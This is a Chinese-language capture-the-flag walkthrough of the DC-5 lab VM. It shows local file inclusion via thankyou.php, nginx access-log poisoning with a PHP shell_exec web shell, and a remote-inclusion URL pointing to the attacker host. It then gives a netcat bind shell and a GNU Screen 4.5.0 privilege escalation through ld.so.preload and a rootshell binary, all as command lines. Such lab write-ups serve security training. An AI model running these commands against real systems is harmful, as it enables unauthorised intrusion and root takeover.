扫描获取目标 IP 地址:192.168.67.213
nmap -sn 192.168.67.0/24

扫描获取目标系统信息及其开放端口:开放了 RPC 服务和 HTTP 服务
nmao -A -p- 192.168.67.213

想要从 RPC 服务入手但无解,于是浏览器登录:http://192.168.67.213,初步浏览没有看到可以利用的东西,用工具 dirb 遍历目录,也没有看到有价值的东西。
dirb http://192.168.67.213

于是继续再去浏览下网站看看有什么没有发现的没有,尝试给 Contact 提交内容,发现这种 URL 似曾相识:
http://192.168.67.213/thankyou.php?firstname=1&lastname=1&country=australia&subject=1
直觉上?后边应该有值得利用的地方,但现在具体还不知道在哪个点...

老规矩,看看是什么cms或server,wapplayzer-->nginx 1.6-->暂时没有可利用的记录

无聊之中,再次提交下数据看看会不会有什么不一样的地方,哦吼,这 Copyright © 2020 中的 2020 怎么变成 2017 了,于是再提交了几次,发现每次提交都会有所变化,猜测就是 contact.php [也就是提交数据的那个界面] 包含了什么或者每次提交都调用了一个函数,这样每次提交都会调用一个 php 文件,由此生成了 Copyright © 20xx ,莫非搞的是是文件包含?试试就知道:
http://192.168.67.213/thankyou.php?file=/etc/passwd
页面显示了 /etc/passwd,果然...

思路一:
想到服务器会不会因为配置不当,访问日志文件给足了权限的时候,如果在access.log即访问日志文件上传了一个执行命令[因为你只要一访问,就会被访问日志文件所记录,可 nc 连接其 80 端口,就给它搞了个简单的shell]
nc 192.168.67.213 80
<?php echo shell_exec($_GET['cmd']);?>
其实这种因为日志文件配置文档出现的几率是比较小的,还有一种思路就是在kali这边创造一个php文件,然后...
http://192.168.67.213/thankyou.php?page=http://192.168.67.221/a.php&cmd=id
这种是属于出现几率相较于日志文件较大的

最开始我们就知道 nginx ,这就可以直接调用搜索引擎查一查nginx的日志文件位置,很多善良的人会告诉我们答案的,果不其然在/var/log/nginx,要找的是access.log,所以路径应该是/var/log/nginx/access.log,试试就知道:
http://192.168.67.213/thankyou.php?file=/var/log/nginx/access.log
果然如此,还记得干刚刚上传的简单脚本吗?验证一下:
http://192.168.67.213/thankyou.php?file=/var/log/nginx/access.log&cmd=id
Ctrl+F搜索一下 www-data,看看在不在,看到是在的
"uid=33(www-data) gid=33(www-data) groups=33(www-data) "

既然这样最直接的思路就是利用 nc 传一个 shell 给kali
http://192.168.67.213/thankyou.php?file=/var/log/nginx/access.log&cmd=nc -vnlp 6666 -c /bin/bash

kali 这边直接侦听:nc 192.168.67.213 6666
进来以后看看有没有可以漏洞利用提权的地方,home 目录下都没有什么东东,查阅了一些目录都没有发现到什么,看看有没有软件或者是本地命令提权的地方:
find / root -perm -4000

/bin/su
/bin/mount
/bin/umount
/bin/screen-4.5.0
/usr/bin/gpasswd
/usr/bin/procmail
/usr/bin/at
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/chsh
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/sbin/exim4
/sbin/mount.nfs

有一个 screen 软件,这是一款命令行终端自由切换的软件,去看看有没有该版本的漏洞,
searchsploit screen
GNU Screen 4.5.0 - Local Privilege Escal | linux/local/41154.sh
cp /usr/share/exploitdb/exploit/linux/local/41154.sh /root/m.sh
找到一个 shell 执行脚本

利用 nc 传文件:
DC5:cd /tmp
DC5:nc 192.168.67.221 2333 > m.sh
kali:nc -vnlp 2333 < m.sh -q 1
DC5:chmod +x m.sh

`./m.sh`

发现运行了木有结果,也没有成功提权,查看一下 shell 脚本,看看是哪里出了问题,发现这个shell脚本内有编译C/C++代码执行命令,想着会不会是在DC系统上这些编译出了问题,要不试试在kali先编译下?
于是在 kali 中的 tmp 得到三个文件:libhax.so / rootshell / k.sh
这三个其实就是拆开得到的文件,其中 k.sh 中的内容如下,是源 shell 脚本的最后一部分:

#!/bin/bash echo "[+] Now we create our /etc/ld.so.preload file..." cd /etc umask 000 # because screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed echo "[+] Triggering..." screen -ls # screen itself is setuid, so... /tmp/rootshell

利用 nc 传文件:
DC5:cd /tmp
DC5:nc 192.168.67.221 2333 > libhax.so
kali:nc -vnlp 2333 < libhax.so -q 1
DC5:nc 192.168.67.221 2333 > rootshell
kali:nc -vnlp 2333 < rootshell -q 1
DC5:nc 192.168.67.221 2333 > k.sh
kali:nc -vnlp 2333 < k.sh -q 1
DC5:chmod +x k.sh

`./k.sh`
/bin/su
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored. [+] done! [+] Now we create our /etc/ld.so.preload file... ' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored. [+] done! [+] Triggering... ' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored. [+] done! No Sockets found in /tmp/screens/S-www-data.

python -c 'import pty;pty.spawn("/bin/bash")'
id
cd /root/
ls
cat thisistheflag.txt
d22e8ca712ad627ad353e0f7dc14445.png

总结:
1.多尝试
2.多提交
3.提权
4.简单脚本编写